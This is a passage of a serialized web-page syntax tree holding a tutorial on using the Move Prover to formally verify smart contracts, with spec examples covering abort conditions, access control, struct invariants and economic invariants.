3732,"children":13733},{"style":246},[13734],{"type":31,"value":9369},{"type":25,"tag":201,"props":13736,"children":13737},{"style":261},[13738],{"type":31,"value":413},{"type":25,"tag":201,"props":13740,"children":13741},{"style":214},[13742],{"type":31,"value":13743}," compare",{"type":25,"tag":201,"props":13745,"children":13746},{"style":220},[13747],{"type":31,"value":298},{"type":25,"tag":201,"props":13749,"children":13750},{"style":261},[13751],{"type":31,"value":4615},{"type":25,"tag":201,"props":13753,"children":13754},{"style":246},[13755],{"type":31,"value":13756},"result_11",{"type":25,"tag":201,"props":13758,"children":13759},{"style":220},[13760],{"type":31,"value":919},{"type":25,"tag":201,"props":13762,"children":13763},{"style":261},[13764],{"type":31,"value":4615},{"type":25,"tag":201,"props":13766,"children":13767},{"style":246},[13768],{"type":31,"value":13769},"result_22",{"type":25,"tag":201,"props":13771,"children":13772},{"style":220},[13773],{"type":31,"value":308},{"type":25,"tag":201,"props":13775,"children":13776},{"class":203,"line":464},[13777,13782,13787,13791,13795,13800,13804,13809],{"type":25,"tag":201,"props":13778,"children":13779},{"style":230},[13780],{"type":31,"value":13781},"    if",{"type":25,"tag":201,"props":13783,"children":13784},{"style":220},[13785],{"type":31,"value":13786}," ( ",{"type":25,"tag":201,"props":13788,"children":13789},{"style":246},[13790],{"type":31,"value":9434},{"type":25,"tag":201,"props":13792,"children":13793},{"style":261},[13794],{"type":31,"value":4789},{"type":25,"tag":201,"props":13796,"children":13797},{"style":220},[13798],{"type":31,"value":13799}," EQUAL ) ",{"type":25,"tag":201,"props":13801,"children":13802},{"style":208},[13803],{"type":31,"value":5497},{"type":25,"tag":201,"props":13805,"children":13806},{"style":230},[13807],{"type":31,"value":13808}," else",{"type":25,"tag":201,"props":13810,"children":13811},{"style":208},[13812],{"type":31,"value":13813}," false\n",{"type":25,"tag":201,"props":13815,"children":13816},{"class":203,"line":490},[13817],{"type":25,"tag":201,"props":13818,"children":13819},{"style":220},[13820],{"type":31,"value":1187},{"type":25,"tag":34,"props":13822,"children":13823},{},[13824],{"type":31,"value":13825},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":25,"tag":191,"props":13827,"children":13829},{"code":13828,"language":4486,"meta":7,"className":4487,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[13830],{"type":25,"tag":115,"props":13831,"children":13832},{"__ignoreMap":7},[13833,13848,13952,13976],{"type":25,"tag":201,"props":13834,"children":13835},{"class":203,"line":204},[13836,13840,13844],{"type":25,"tag":201,"props":13837,"children":13838},{"style":246},[13839],{"type":31,"value":9783},{"type":25,"tag":201,"props":13841,"children":13842},{"style":246},[13843],{"type":31,"value":13491},{"type":25,"tag":201,"props":13845,"children":13846},{"style":220},[13847],{"type":31,"value":327},{"type":25,"tag":201,"props":13849,"children":13850},{"class":203,"line":226},[13851,13855,13859,13864,13868,13872,13876,13880,13884,13888,13892,13896,13900,13904,13908,13912,13916,13920,13924,13928,13932,13936,13940,13944,13948],{"type":25,"tag":201,"props":13852,"children":13853},{"style":246},[13854],{"type":31,"value":11405},{"type":25,"tag":201,"props":13856,"children":13857},{"style":220},[13858],{"type":31,"value":238},{"type":25,"tag":201,"props":13860,"children":13861},{"style":214},[13862],{"type":31,"value":13863},"value_of_U256",{"type":25,"tag":201,"props":13865,"children":13866},{"style":220},[13867],{"type":31,"value":298},{"type":25,"tag":201,"props":13869,"children":13870},{"style":246},[13871],{"type":31,"value":71},{"type":25,"tag":201,"props":13873,"children":13874},{"style":220},[13875],{"type":31,"value":385},{"type":25,"tag":201,"props":13877,"children":13878},{"style":261},[13879],{"type":31,"value":5886},{"type":25,"tag":201,"props":13881,"children":13882},{"style":214},[13883],{"type":31,"value":11206},{"type":25,"tag":201,"props":13885,"children":13886},{"style":220},[13887],{"type":31,"value":298},{"type":25,"tag":201,"props":13889,"children":13890},{"style":246},[13891],{"type":31,"value":4729},{"type":25,"tag":201,"props":13893,"children":13894},{"style":220},[13895],{"type":31,"value":10344},{"type":25,"tag":201,"props":13897,"children":13898},{"style":261},[13899],{"type":31,"value":5886},{"type":25,"tag":201,"props":13901,"children":13902},{"style":214},[13903],{"type":31,"value":11206},{"type":25,"tag":201,"props":13905,"children":13906},{"style":220},[13907],{"type":31,"value":298},{"type":25,"tag":201,"props":13909,"children":13910},{"style":246},[13911],{"type":31,"value":4652},{"type":25,"tag":201,"props":13913,"children":13914},{"style":220},[13915],{"type":31,"value":385},{"type":25,"tag":201,"props":13917,"children":13918},{"style":261},[13919],{"type":31,"value":11446},{"type":25,"tag":201,"props":13921,"children":13922},{"style":4925},[13923],{"type":31,"value":11162},{"type":25,"tag":201,"props":13925,"children":13926},{"style":261},[13927],{"type":31,"value":11319},{"type":25,"tag":201,"props":13929,"children":13930},{"style":4925},[13931],{"type":31,"value":11162},{"type":25,"tag":201,"props":13933,"children":13934},{"style":261},[13935],{"type":31,"value":11319},{"type":25,"tag":201,"props":13937,"children":13938},{"style":4925},[13939],{"type":31,"value":11162},{"type":25,"tag":201,"props":13941,"children":13942},{"style":261},[13943],{"type":31,"value":11319},{"type":25,"tag":201,"props":13945,"children":13946},{"style":4925},[13947],{"type":31,"value":11162},{"type":25,"tag":201,"props":13949,"children":13950},{"style":220},[13951],{"type":31,"value":461},{"type":25,"tag":201,"props":13953,"children":13954},{"class":203,"line":278},[13955,13959,13963,13967,13972],{"type":25,"tag":201,"props":13956,"children":13957},{"style":246},[13958],{"type":31,"value":11703},{"type":25,"tag":201,"props":13960,"children":13961},{"style":246},[13962],{"type":31,"value":10664},{"type":25,"tag":201,"props":13964,"children":13965},{"style":261},[13966],{"type":31,"value":4789},{"type":25,"tag":201,"props":13968,"children":13969},{"style":208},[13970],{"type":31,"value":13971}," true",{"type":25,"tag":201,"props":13973,"children":13974},{"style":220},[13975],{"type":31,"value":461},{"type":25,"tag":201,"props":13977,"children":13978},{"class":203,"line":311},[13979],{"type":25,"tag":201,"props":13980,"children":13981},{"style":220},[13982],{"type":31,"value":1187},{"type":25,"tag":34,"props":13984,"children":13985},{},[13986],{"type":31,"value":13987},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":25,"tag":191,"props":13989,"children":13990},{"code":13448},[13991],{"type":25,"tag":115,"props":13992,"children":13993},{"__ignoreMap":7},[13994],{"type":31,"value":13448},{"type":25,"tag":34,"props":13996,"children":13997},{},[13998,14000,14007],{"type":31,"value":13999},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":25,"tag":71,"props":14001,"children":14004},{"href":14002,"rel":14003},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[75],[14005],{"type":31,"value":14006},"spec-lang.md",{"type":31,"value":14008}," in the Move Repository.",{"type":25,"tag":26,"props":14010,"children":14012},{"id":14011},"use-cases",[14013],{"type":31,"value":14014},"Use Cases",{"type":25,"tag":34,"props":14016,"children":14017},{},[14018],{"type":31,"value":14019},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":25,"tag":34,"props":14021,"children":14022},{},[14023],{"type":31,"value":14024},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":25,"tag":40,"props":14026,"children":14028},{"id":14027},"error-conditions",[14029],{"type":31,"value":14030},"Error Conditions",{"type":25,"tag":34,"props":14032,"children":14033},{},[14034,14036,14042],{"type":31,"value":14035},"Taking an example from ",{"type":25,"tag":115,"props":14037,"children":14039},{"className":14038},[],[14040],{"type":31,"value":14041},"std::fixed_point32",{"type":31,"value":14043},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":25,"tag":191,"props":14045,"children":14047},{"code":14046,"language":4486,"meta":7,"className":4487,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[14048],{"type":25,"tag":115,"props":14049,"children":14050},{"__ignoreMap":7},[14051,14072,14092,14113,14159,14167,14230,14269],{"type":25,"tag":201,"props":14052,"children":14053},{"class":203,"line":204},[14054,14058,14063,14068],{"type":25,"tag":201,"props":14055,"children":14056},{"style":246},[14057],{"type":31,"value":10435},{"type":25,"tag":201,"props":14059,"children":14060},{"style":246},[14061],{"type":31,"value":14062}," schema",{"type":25,"tag":201,"props":14064,"children":14065},{"style":4925},[14066],{"type":31,"value":14067}," MultiplyAbortsIf",{"type":25,"tag":201,"props":14069,"children":14070},{"style":220},[14071],{"type":31,"value":327},{"type":25,"tag":201,"props":14073,"children":14074},{"class":203,"line":226},[14075,14080,14084,14088],{"type":25,"tag":201,"props":14076,"children":14077},{"style":246},[14078],{"type":31,"value":14079},"          val",{"type":25,"tag":201,"props":14081,"children":14082},{"style":261},[14083],{"type":31,"value":5997},{"type":25,"tag":201,"props":14085,"children":14086},{"style":246},[14087],{"type":31,"value":11235},{"type":25,"tag":201,"props":14089,"children":14090},{"style":220},[14091],{"type":31,"value":461},{"type":25,"tag":201,"props":14093,"children":14094},{"class":203,"line":278},[14095,14100,14104,14109],{"type":25,"tag":201,"props":14096,"children":14097},{"style":246},[14098],{"type":31,"value":14099},"          multiplier",{"type":25,"tag":201,"props":14101,"children":14102},{"style":261},[14103],{"type":31,"value":5997},{"type":25,"tag":201,"props":14105,"children":14106},{"style":4925},[14107],{"type":31,"value":14108}," FixedPoint32",{"type":25,"tag":201,"props":14110,"children":14111},{"style":220},[14112],{"type":31,"value":461},{"type":25,"tag":201,"props":14114,"children":14115},{"class":203,"line":311},[14116,14121,14126,14130,14135,14139,14144,14149,14154],{"type":25,"tag":201,"props":14117,"children":14118},{"style":246},[14119],{"type":31,"value":14120},"          aborts_if",{"type":25,"tag":201,"props":14122,"children":14123},{"style":214},[14124],{"type":31,"value":14125}," spec_multiply_u64",{"type":25,"tag":201,"props":14127,"children":14128},{"style":220},[14129],{"type":31,"value":298},{"type":25,"tag":201,"props":14131,"children":14132},{"style":246},[14133],{"type":31,"value":14134},"val",{"type":25,"tag":201,"props":14136,"children":14137},{"style":220},[14138],{"type":31,"value":919},{"type":25,"tag":201,"props":14140,"children":14141},{"style":246},[14142],{"type":31,"value":14143},"multiplier",{"type":25,"tag":201,"props":14145,"children":14146},{"style":220},[14147],{"type":31,"value":14148},") > MAX_U64 ",{"type":25,"tag":201,"props":14150,"children":14151},{"style":246},[14152],{"type":31,"value":14153},"with",{"type":25,"tag":201,"props":14155,"children":14156},{"style":220},[14157],{"type":31,"value":14158}," EMULTIPLICATION;\n",{"type":25,"tag":201,"props":14160,"children":14161},{"class":203,"line":330},[14162],{"type":25,"tag":201,"props":14163,"children":14164},{"style":220},[14165],{"type":31,"value":14166},"      }\n",{"type":25,"tag":201,"props":14168,"children":14169},{"class":203,"line":397},[14170,14174,14178,14182,14186,14190,14194,14198,14202,14206,14210,14214,14218,14222,14226],{"type":25,"tag":201,"props":14171,"children":14172},{"style":246},[14173],{"type":31,"value":10435},{"type":25,"tag":201,"props":14175,"children":14176},{"style":246},[14177],{"type":31,"value":7715},{"type":25,"tag":201,"props":14179,"children":14180},{"style":214},[14181],{"type":31,"value":14125},{"type":25,"tag":201,"props":14183,"children":14184},{"style":220},[14185],{"type":31,"value":298},{"type":25,"tag":201,"props":14187,"children":14188},{"style":246},[14189],{"type":31,"value":14134},{"type":25,"tag":201,"props":14191,"children":14192},{"style":261},[14193],{"type":31,"value":5997},{"type":25,"tag":201,"props":14195,"children":14196},{"style":246},[14197],{"type":31,"value":11235},{"type":25,"tag":201,"props":14199,"children":14200},{"style":220},[14201],{"type":31,"value":919},{"type":25,"tag":201,"props":14203,"children":14204},{"style":246},[14205],{"type":31,"value":14143},{"type":25,"tag":201,"props":14207,"children":14208},{"style":261},[14209],{"type":31,"value":5997},{"type":25,"tag":201,"props":14211,"children":14212},{"style":4925},[14213],{"type":31,"value":14108},{"type":25,"tag":201,"props":14215,"children":14216},{"style":220},[14217],{"type":31,"value":3073},{"type":25,"tag":201,"props":14219,"children":14220},{"style":261},[14221],{"type":31,"value":5997},{"type":25,"tag":201,"props":14223,"children":14224},{"style":246},[14225],{"type":31,"value":11235},{"type":25,"tag":201,"props":14227,"children":14228},{"style":220},[14229],{"type":31,"value":327},{"type":25,"tag":201,"props":14231,"children":14232},{"class":203,"line":437},[14233,14237,14241,14245,14250,14254,14259,14264],{"type":25,"tag":201,"props":14234,"children":14235},{"style":220},[14236],{"type":31,"value":10218},{"type":25,"tag":201,"props":14238,"children":14239},{"style":246},[14240],{"type":31,"value":14134},{"type":25,"tag":201,"props":14242,"children":14243},{"style":261},[14244],{"type":31,"value":11319},{"type":25,"tag":201,"props":14246,"children":14247},{"style":246},[14248],{"type":31,"value":14249}," multiplier",{"type":25,"tag":201,"props":14251,"children":14252},{"style":261},[14253],{"type":31,"value":80},{"type":25,"tag":201,"props":14255,"children":14256},{"style":220},[14257],{"type":31,"value":14258},"value) ",{"type":25,"tag":201,"props":14260,"children":14261},{"style":261},[14262],{"type":31,"value":14263},">>",{"type":25,"tag":201,"props":14265,"children":14266},{"style":426},[14267],{"type":31,"value":14268}," 32\n",{"type":25,"tag":201,"props":14270,"children":14271},{"class":203,"line":464},[14272],{"type":25,"tag":201,"props":14273,"children":14274},{"style":220},[14275],{"type":31,"value":14166},{"type":25,"tag":40,"props":14277,"children":14279},{"id":14278},"access-control-policies",[14280],{"type":31,"value":14281},"Access Control Policies",{"type":25,"tag":34,"props":14283,"children":14284},{},[14285],{"type":31,"value":14286},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":25,"tag":34,"props":14288,"children":14289},{},[14290,14292,14298,14300,14305],{"type":31,"value":14291},"For example, in ",{"type":25,"tag":115,"props":14293,"children":14295},{"className":14294},[],[14296],{"type":31,"value":14297},"std::offer",{"type":31,"value":14299}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":25,"tag":65,"props":14301,"children":14302},{},[14303],{"type":31,"value":14304},"or",{"type":31,"value":14306}," the recipient is now allowed.",{"type":25,"tag":191,"props":14308,"children":14310},{"code":14309,"language":4486,"meta":7,"className":4487,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[14311],{"type":25,"tag":115,"props":14312,"children":14313},{"__ignoreMap":7},[14314,14331,14339,14347,14355,14402,14460,14503,14569],{"type":25,"tag":201,"props":14315,"children":14316},{"class":203,"line":204},[14317,14322,14327],{"type":25,"tag":201,"props":14318,"children":14319},{"style":246},[14320],{"type":31,"value":14321},"    spec",{"type":25,"tag":201,"props":14323,"children":14324},{"style":246},[14325],{"type":31,"value":14326}," redeem",{"type":25,"tag":201,"props":14328,"children":14329},{"style":220},[14330],{"type":31,"value":327},{"type":25,"tag":201,"props":14332,"children":14333},{"class":203,"line":226},[14334],{"type":25,"tag":201,"props":14335,"children":14336},{"style":4497},[14337],{"type":31,"value":14338},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":25,"tag":201,"props":14340,"children":14341},{"class":203,"line":278},[14342],{"type":25,"tag":201,"props":14343,"children":14344},{"style":4497},[14345],{"type":31,"value":14346},"      /// cannot redeem the offer.\n",{"type":25,"tag":201,"props":14348,"children":14349},{"class":203,"line":311},[14350],{"type":25,"tag":201,"props":14351,"children":14352},{"style":4497},[14353],{"type":31,"value":14354},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":25,"tag":201,"props":14356,"children":14357},{"class":203,"line":330},[14358,14362,14367,14371,14375,14380,14384,14389,14393,14398],{"type":25,"tag":201,"props":14359,"children":14360},{"style":246},[14361],{"type":31,"value":10559},{"type":25,"tag":201,"props":14363,"children":14364},{"style":261},[14365],{"type":31,"value":14366}," !",{"type":25,"tag":201,"props":14368,"children":14369},{"style":246},[14370],{"type":31,"value":8213},{"type":25,"tag":201,"props":14372,"children":14373},{"style":220},[14374],{"type":31,"value":1298},{"type":25,"tag":201,"props":14376,"children":14377},{"style":4925},[14378],{"type":31,"value":14379},"Offer",{"type":25,"tag":201,"props":14381,"children":14382},{"style":220},[14383],{"type":31,"value":1298},{"type":25,"tag":201,"props":14385,"children":14386},{"style":4925},[14387],{"type":31,"value":14388},"Offered",{"type":25,"tag":201,"props":14390,"children":14391},{"style":220},[14392],{"type":31,"value":8235},{"type":25,"tag":201,"props":14394,"children":14395},{"style":246},[14396],{"type":31,"value":14397},"offer_address",{"type":25,"tag":201,"props":14399,"children":14400},{"style":220},[14401],{"type":31,"value":308},{"type":25,"tag":201,"props":14403,"children":14404},{"class":203,"line":397},[14405,14409,14413,14418,14422,14426,14430,14434,14439,14443,14447,14451,14456],{"type":25,"tag":201,"props":14406,"children":14407},{"style":246},[14408],{"type":31,"value":10559},{"type":25,"tag":201,"props":14410,"children":14411},{"style":261},[14412],{"type":31,"value":14366},{"type":25,"tag":201,"props":14414,"children":14415},{"style":246},[14416],{"type":31,"value":14417},"is_allowed_recipient",{"type":25,"tag":201,"props":14419,"children":14420},{"style":220},[14421],{"type":31,"value":1298},{"type":25,"tag":201,"props":14423,"children":14424},{"style":4925},[14425],{"type":31,"value":14388},{"type":25,"tag":201,"props":14427,"children":14428},{"style":220},[14429],{"type":31,"value":9120},{"type":25,"tag":201,"props":14431,"children":14432},{"style":246},[14433],{"type":31,"value":14397},{"type":25,"tag":201,"props":14435,"children":14436},{"style":220},[14437],{"type":31,"value":14438},", signer",{"type":25,"tag":201,"props":14440,"children":14441},{"style":261},[14442],{"type":31,"value":4988},{"type":25,"tag":201,"props":14444,"children":14445},{"style":214},[14446],{"type":31,"value":8718},{"type":25,"tag":201,"props":14448,"children":14449},{"style":220},[14450],{"type":31,"value":298},{"type":25,"tag":201,"props":14452,"children":14453},{"style":246},[14454],{"type":31,"value":14455},"account",{"type":25,"tag":201,"props":14457,"children":14458},{"style":220},[14459],{"type":31,"value":8732},{"type":25,"tag":201,"props":14461,"children":14462},{"class":203,"line":437},[14463,14467,14471,14475,14479,14483,14487,14491,14495,14499],{"type":25,"tag":201,"props":14464,"children":14465},{"style":246},[14466],{"type":31,"value":9695},{"type":25,"tag":201,"props":14468,"children":14469},{"style":261},[14470],{"type":31,"value":14366},{"type":25,"tag":201,"props":14472,"children":14473},{"style":246},[14474],{"type":31,"value":8213},{"type":25,"tag":201,"props":14476,"children":14477},{"style":220},[14478],{"type":31,"value":1298},{"type":25,"tag":201,"props":14480,"children":14481},{"style":4925},[14482],{"type":31,"value":14379},{"type":25,"tag":201,"props":14484,"children":14485},{"style":220},[14486],{"type":31,"value":1298},{"type":25,"tag":201,"props":14488,"children":14489},{"style":4925},[14490],{"type":31,"value":14388},{"type":25,"tag":201,"props":14492,"children":14493},{"style":220},[14494],{"type":31,"value":8235},{"type":25,"tag":201,"props":14496,"children":14497},{"style":246},[14498],{"type":31,"value":14397},{"type":25,"tag":201,"props":14500,"children":14501},{"style":220},[14502],{"type":31,"value":308},{"type":25,"tag":201,"props":14504,"children":14505},{"class":203,"line":464},[14506,14510,14514,14518,14523,14527,14532,14536,14540,14544,14548,14552,14556,14560,14564],{"type":25,"tag":201,"props":14507,"children":14508},{"style":246},[14509],{"type":31,"value":9695},{"type":25,"tag":201,"props":14511,"children":14512},{"style":246},[14513],{"type":31,"value":10664},{"type":25,"tag":201,"props":14515,"children":14516},{"style":261},[14517],{"type":31,"value":4789},{"type":25,"tag":201,"props":14519,"children":14520},{"style":214},[14521],{"type":31,"value":14522}," old",{"type":25,"tag":201,"props":14524,"children":14525},{"style":220},[14526],{"type":31,"value":298},{"type":25,"tag":201,"props":14528,"children":14529},{"style":246},[14530],{"type":31,"value":14531},"global",{"type":25,"tag":201,"props":14533,"children":14534},{"style":220},[14535],{"type":31,"value":1298},{"type":25,"tag":201,"props":14537,"children":14538},{"style":4925},[14539],{"type":31,"value":14379},{"type":25,"tag":201,"props":14541,"children":14542},{"style":220},[14543],{"type":31,"value":1298},{"type":25,"tag":201,"props":14545,"children":14546},{"style":4925},[14547],{"type":31,"value":14388},{"type":25,"tag":201,"props":14549,"children":14550},{"style":220},[14551],{"type":31,"value":8235},{"type":25,"tag":201,"props":14553,"children":14554},{"style":246},[14555],{"type":31,"value":14397},{"type":25,"tag":201,"props":14557,"children":14558},{"style":220},[14559],{"type":31,"value":3073},{"type":25,"tag":201,"props":14561,"children":14562},{"style":261},[14563],{"type":31,"value":80},{"type":25,"tag":201,"props":14565,"children":14566},{"style":220},[14567],{"type":31,"value":14568},"offered);\n",{"type":25,"tag":201,"props":14570,"children":14571},{"class":203,"line":490},[14572],{"type":25,"tag":201,"props":14573,"children":14574},{"style":220},[14575],{"type":31,"value":4861},{"type":25,"tag":34,"props":14577,"children":14578},{},[14579],{"type":31,"value":14580},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":25,"tag":40,"props":14582,"children":14584},{"id":14583},"complex-mathematical-formulae",[14585],{"type":31,"value":14586},"Complex Mathematical Formulae",{"type":25,"tag":34,"props":14588,"children":14589},{},[14590,14592,14597],{"type":31,"value":14591},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":25,"tag":65,"props":14593,"children":14594},{},[14595],{"type":31,"value":14596},"always",{"type":31,"value":14598}," the output.",{"type":25,"tag":34,"props":14600,"children":14601},{},[14602],{"type":31,"value":14603},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":25,"tag":34,"props":14605,"children":14606},{},[14607,14609,14616],{"type":31,"value":14608},"For example, in our work with ",{"type":25,"tag":71,"props":14610,"children":14613},{"href":14611,"rel":14612},"https://laminar.markets/",[75],[14614],{"type":31,"value":14615},"Laminar Markets",{"type":31,"value":14617},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":25,"tag":40,"props":14619,"children":14621},{"id":14620},"data-invariants",[14622],{"type":31,"value":14623},"Data Invariants",{"type":25,"tag":34,"props":14625,"children":14626},{},[14627,14629,14635,14637,14643,14645,14651,14653,14659],{"type":31,"value":14628},"Formal verification provides the best environment to verify that certain ",{"type":25,"tag":115,"props":14630,"children":14632},{"className":14631},[],[14633],{"type":31,"value":14634},"variables",{"type":31,"value":14636}," or ",{"type":25,"tag":115,"props":14638,"children":14640},{"className":14639},[],[14641],{"type":31,"value":14642},"resources",{"type":31,"value":14644}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":25,"tag":115,"props":14646,"children":14648},{"className":14647},[],[14649],{"type":31,"value":14650},"index",{"type":31,"value":14652}," is never greater than 4 using a ",{"type":25,"tag":115,"props":14654,"children":14656},{"className":14655},[],[14657],{"type":31,"value":14658},"struct invariant",{"type":31,"value":80},{"type":25,"tag":191,"props":14661,"children":14663},{"code":14662,"language":4486,"meta":7,"className":4487,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[14664],{"type":25,"tag":115,"props":14665,"children":14666},{"__ignoreMap":7},[14667,14683,14700,14707,14714,14729,14753],{"type":25,"tag":201,"props":14668,"children":14669},{"class":203,"line":204},[14670,14674,14679],{"type":25,"tag":201,"props":14671,"children":14672},{"style":208},[14673],{"type":31,"value":10905},{"type":25,"tag":201,"props":14675,"children":14676},{"style":4925},[14677],{"type":31,"value":14678}," Type",{"type":25,"tag":201,"props":14680,"children":14681},{"style":220},[14682],{"type":31,"value":327},{"type":25,"tag":201,"props":14684,"children":14685},{"class":203,"line":226},[14686,14691,14695],{"type":25,"tag":201,"props":14687,"children":14688},{"style":246},[14689],{"type":31,"value":14690},"    index",{"type":25,"tag":201,"props":14692,"children":14693},{"style":261},[14694],{"type":31,"value":5997},{"type":25,"tag":201,"props":14696,"children":14697},{"style":4925},[14698],{"type":31,"value":14699}," u64\n",{"type":25,"tag":201,"props":14701,"children":14702},{"class":203,"line":278},[14703],{"type":25,"tag":201,"props":14704,"children":14705},{"style":220},[14706],{"type":31,"value":1187},{"type":25,"tag":201,"props":14708,"children":14709},{"class":203,"line":311},[14710],{"type":25,"tag":201,"props":14711,"children":14712},{"emptyLinePlaceholder":17},[14713],{"type":31,"value":496},{"type":25,"tag":201,"props":14715,"children":14716},{"class":203,"line":330},[14717,14721,14725],{"type":25,"tag":201,"props":14718,"children":14719},{"style":246},[14720],{"type":31,"value":9783},{"type":25,"tag":201,"props":14722,"children":14723},{"style":4925},[14724],{"type":31,"value":14678},{"type":25,"tag":201,"props":14726,"children":14727},{"style":220},[14728],{"type":31,"value":327},{"type":25,"tag":201,"props":14730,"children":14731},{"class":203,"line":397},[14732,14736,14741,14745,14749],{"type":25,"tag":201,"props":14733,"children":14734},{"style":246},[14735],{"type":31,"value":9800},{"type":25,"tag":201,"props":14737,"children":14738},{"style":246},[14739],{"type":31,"value":14740}," index",{"type":25,"tag":201,"props":14742,"children":14743},{"style":261},[14744],{"type":31,"value":3208},{"type":25,"tag":201,"props":14746,"children":14747},{"style":426},[14748],{"type":31,"value":13247},{"type":25,"tag":201,"props":14750,"children":14751},{"style":220},[14752],{"type":31,"value":461},{"type":25,"tag":201,"props":14754,"children":14755},{"class":203,"line":437},[14756],{"type":25,"tag":201,"props":14757,"children":14758},{"style":220},[14759],{"type":31,"value":1187},{"type":25,"tag":34,"props":14761,"children":14762},{},[14763,14765,14772,14773,14779],{"type":31,"value":14764},"We were able to verify more complex properties in our recent audits for ",{"type":25,"tag":71,"props":14766,"children":14769},{"href":14767,"rel":14768},"https://layerzero.network/",[75],[14770],{"type":31,"value":14771},"LayerZero",{"type":31,"value":12493},{"type":25,"tag":71,"props":14774,"children":14777},{"href":14775,"rel":14776},"http://ariesmarkets.xyz/",[75],[14778],{"type":31,"value":8299},{"type":31,"value":14780},", but the details are left as an exercise to the reader.",{"type":25,"tag":40,"props":14782,"children":14784},{"id":14783},"economic-invariants",[14785],{"type":31,"value":14786},"Economic Invariants.",{"type":25,"tag":34,"props":14788,"children":14789},{},[14790],{"type":31,"value":14791},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":25,"tag":34,"props":14793,"children":14794},{},[14795],{"type":31,"value":14796},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":25,"tag":191,"props":14798,"children":14799},{"code":9476,"language":4486,"meta":7,"className":4487,"style":7},[14800],{"type":25,"tag":115,"props":14801,"children":14802},{"__ignoreMap":7},[14803,14810,14893,14932,14951,14958,14973,14996,15019,15042],{"type":25,"tag":201,"props":14804,"children":14805},{"class":203,"line":204},[14806],{"type":25,"tag":201,"props":14807,"children":14808},{"style":4497},[14809],{"type":31,"value":9488},{"type":25,"tag":201,"props":14811,"children":14812},{"class":203,"line":226},[14813,14817,14821,14825,14829,14833,14837,14841,14845,14849,14853,14857,14861,14865,14869,14873,14877,14881,14885,14889],{"type":25,"tag":201,"props":14814,"children":14815},{"style":246},[14816],{"type":31,"value":8078},{"type":25,"tag":201,"props":14818,"children":14819},{"style":214},[14820],{"type":31,"value":9500},{"type":25,"tag":201,"props":14822,"children":14823},{"style":220},[14824],{"type":31,"value":298},{"type":25,"tag":201,"props":14826,"children":14827},{"style":246},[14828],{"type":31,"value":9509},{"type":25,"tag":201,"props":14830,"children":14831},{"style":261},[14832],{"type":31,"value":5997},{"type":25,"tag":201,"props":14834,"children":14835},{"style":4925},[14836],{"type":31,"value":7369},{"type":25,"tag":201,"props":14838,"children":14839},{"style":220},[14840],{"type":31,"value":919},{"type":25,"tag":201,"props":14842,"children":14843},{"style":246},[14844],{"type":31,"value":9526},{"type":25,"tag":201,"props":14846,"children":14847},{"style":261},[14848],{"type":31,"value":5997},{"type":25,"tag":201,"props":14850,"children":14851},{"style":4925},[14852],{"type":31,"value":7369},{"type":25,"tag":201,"props":14854,"children":14855},{"style":220},[14856],{"type":31,"value":3073},{"type":25,"tag":201,"props":14858,"children":14859},{"style":261},[14860],{"type":31,"value":5997},{"type":25,"tag":201,"props":14862,"children":14863},{"style":220},[14864],{"type":31,"value":238},{"type":25,"tag":201,"props":14866,"children":14867},{"style":4925},[14868],{"type":31,"value":9551},{"type":25,"tag":201,"props":14870,"children":14871},{"style":220},[14872],{"type":31,"value":919},{"type":25,"tag":201,"props":14874,"children":14875},{"style":4925},[14876],{"type":31,"value":9551},{"type":25,"tag":201,"props":14878,"children":14879},{"style":220},[14880],{"type":31,"value":385},{"type":25,"tag":201,"props":14882,"children":14883},{"style":246},[14884],{"type":31,"value":7852},{"type":25,"tag":201,"props":14886,"children":14887},{"style":4925},[14888],{"type":31,"value":9572},{"type":25,"tag":201,"props":14890,"children":14891},{"style":220},[14892],{"type":31,"value":327},{"type":25,"tag":201,"props":14894,"children":14895},{"class":203,"line":278},[14896,14900,14904,14908,14912,14916,14920,14924,14928],{"type":25,"tag":201,"props":14897,"children":14898},{"style":208},[14899],{"type":31,"value":505},{"type":25,"tag":201,"props":14901,"children":14902},{"style":246},[14903],{"type":31,"value":9588},{"type":25,"tag":201,"props":14905,"children":14906},{"style":261},[14907],{"type":31,"value":413},{"type":25,"tag":201,"props":14909,"children":14910},{"style":214},[14911],{"type":31,"value":9597},{"type":25,"tag":201,"props":14913,"children":14914},{"style":220},[14915],{"type":31,"value":298},{"type":25,"tag":201,"props":14917